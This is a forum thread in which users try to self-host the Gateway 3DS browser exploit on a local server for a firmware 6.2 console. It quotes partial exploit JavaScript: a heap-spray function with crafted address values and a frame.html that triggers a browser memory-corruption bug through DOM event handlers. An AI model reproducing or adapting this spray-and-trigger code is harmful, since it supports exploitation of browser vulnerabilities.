    I can't browse anything but ssl ( https:// ) right now with my 3ds browsers. I copied the javascript and html at http://go.gateway-3ds.com/index.php and saved it on my local xampp network so I can browse it from my network. No joy so far, just loads the page and does nothing. It's on 6.2 firmware. I formatted it, cleared history and cookies.

    So the question is, since the browser exploit just loads launcher.dat from the sd card ( smc://launcher.dat ), should it work just the same on my network. The xampp install works fine.



    The files I used for my solution were from from Falo:

    There were various instructions from others in this thread, read for details.

    It's a PHP page
    Maybe there is hidden PHP code on it? Not sure

<script>
    function magicfun(mem, size, v) {
        var a = new Array(size - 20);
        nv = v + unescape("%ucccc");
        for (var j = 0; j < a.length / (v.length / 4); j++) a[j] = nv;
        var t = document.createTextNode(String.fromCharCode.apply(null, new Array(a)));
 
        mem.push(t);
    }
 
    function dsm(evnt) {
        var mem = [];
 
        for (var j = 20; j < 430; j++) {
            magicfun(mem, j, unescape("\u0000\u08e0\u0004\u08e0\u0008\u08e0\u000c\u08e0\u0010\u08e0\u0014\u08e0\u0018\u08e0\u001c\u08e0\u0020\u08e0\u0024\u08e0\u0028\u08e0\u002c\u08e0\u0030\u08e0\u0034\u08e0\u0038\u08e0\u003c\u08e0\u0040\u08e0\u0044\u08e0\u0048\u08e0\u004c\u08e0\u0050\u08e0\u0054\u08e0\u0058\u08e0\u005c\u08e0\u0060\u08e0\u0064\u08e0\u0068\u08e0\u006c\u08e0\u0070\u08e0\u0074\u08e0\u0078\u08e0\u007c\u08e0\u0080\u08e0\u0084\u08e0\u0088\u08e0\u008c\u08e0\u0090\u08e0\u0094\u08e0\u0098\u08e0\u009c\u08e0\u00a0\u08e0\u00a4\u08e0\u00a8\u08e0\u00ac\u08e0\u00b0\u08e0\u00b4\u08e0\u00b8\u08e0\u00bc\u08e0\u00c0\u08e0\u00c4\u08e0\u00c8\u08e0\u00cc\u08e0\u00d0\u08e0\u00d4\u08e0\u00d8\u08e0\u00dc\u08e0\u00e0\u08e0\u00e4\u08e0\u00e8\u08e0\u00ec\u08e0\u00f0\u08e0\u00f4\u08e0\u00f8\u08e0\u00fc\u08e0\u0100\u08e0\u0104\u08e0\u0108\u08e0\u010c\u08e0\u0110\u08e0\u0114\u08e0\u0118\u08e0\u011c\u08e0\u0120\u08e0\u0124\u08e0\u0128\u08e0\u012c\u08e0\u0130\u08e0\u0134\u08e0\u0138\u08e0\u013c\u08e0\u0140\u08e0\u0144\u08e0\u0148\u08e0\u014c\u08e0\u0150\u08e0\u0154\u08e0\u0158\u08e0\u015c\u08e0\u0160\u08e0\u0164\u08e0\u0168\u08e0\u016c\u08e0\u0170\u08e0\u0174\u08e0\u0178\u08e0\u017c\u08e0\u0180\u08e0\u0184\u08e0\u0188\u08e0\u018c\u08e0\u0190\u08e0\u0194\u08e0\u0198\u08e0\u019c\u08e0\u01a0\u08e0\u01a4\u08e0\u01a8\u08e0\u01ac\u08e0\u01b0\u08e0\u01b4\u08e0\u01b8\u08e0\u01bc\u08e0\u01c0\u08e0\u01c4\u08e0\u01c8\u08e0\u01cc\u08e0\u01d0\u08e0\u01d4\u08e0\u01d8\u08e0\u01dc\u08e0\u01e0\u08e0\u01e4\u08e0\u01e8\u08e0\u01ec\u08e0\u01f0\u08e0\u01f4\u08e0\u01f8\u08e0\u01fc\u08e0"));

    It should run no matter what server it is on right? ( local or not )

    No, you downloaded the wrong file, you miss the hidden iframe and the correct payload.
    Check my post on the main thread.
    Visit the site on your pc using the correct 3ds user agent and try again please :)

    The iframe just executes the javascript code via event. Not sure if this is needed and part of the browser bug. The important part is the correct payload.

    It would be great if we could save the exploit to the 3ds somehow and navigate to it in the browser to run it without a server

    Can you paste the contents of iframe.html somewhere. I'd love to look at it.

    The frame.html

    Code:
    <html>
        <head>
                <script>
                        var nb = 0;
                        function handleBeforeLoad() {
                                if (++nb == 1) {
                                        p.addEventListener('DOMSubtreeModified', parent.dsm, false);
                                } else if (nb == 2) {
                                        p.removeChild(f);
                                }
                        }
 
                        function documentLoaded() {
                                f = window.frameElement;
                                p = f.parentNode;
                                var o = document.createElement("object");
                                o.addEventListener('beforeload', handleBeforeLoad, false);
                                document.body.appendChild(o);
                        }
 
                        window.onload = documentLoaded;
                </script>

    Yeah, if you change your user agent to that of a 3DS browser, you can grab the code yourself and try locally hosting it.

    Are y'all entirely certain the web browser entrypoint only loads launcher.dat? If so, why--do you have evidence to suggest so?
    If not, I'd probably try sniffing the network to see if the 3DS downloads any other data when the exploit is executed (in the normal way, from the GW website).

    Also, could you clarify "just loads the page and does nothing"? I assume this means 'I see "GATEWAY 3DS LOADING"; the web browser does not close with an error or otherwise misbehave'; is this correct?

    (I'm a useless asshole who can't help you anyway--sorry ;_;. I'm just interested in the browser exploit.)

    Thanks, missed that.

    Tried running it locally, no dice. Will move the 3ds to a normal network tomorrow and finish the update then.

    The browser closes with an error after the page loads asking me to restart the 3ds when I load the exploit locally. I do see gateway 3ds loading... before it closes.

    Interesting. And that's the error which asks you to save and then restart it yourself--not the one which forces a shutdown as soon as you acknowledge the message?

    If it's the latter, I'd say something has gone very wrong somewhere. But if it's the former, I think you're almost there. I kept getting the error message upon loading the page; I finally got it to work by placing launcher.dat on a different, newly-formatted SD card. Anyway, it sounds like you have your server set up perfectly--kudos for that!

    The first error you mentioned is the one. I looked at the javascript functions that I see and it's a buffer overload I think. Wonder why it's not working. The console doesn't throw any errors with default settings. I wonder what firebug would report if anything.

    *edit
    Just an undefined error, no specifics so far. It's my network I'm positive but I wonder why it can't be executed off their server. If it matters to anyone with the same error, I also get "Failed to load part of this page" when trying to use it locally.

    If they enabled ssl for the /go/ folder, that would solve some problems for me (and others?).

    Another note, wish they would release the index.php and javascript for a backup url and even better, offline mode. I suppose offline mode is in the next update maybe? The index file has some of the exploit, calculations I think?

    Any ideas?
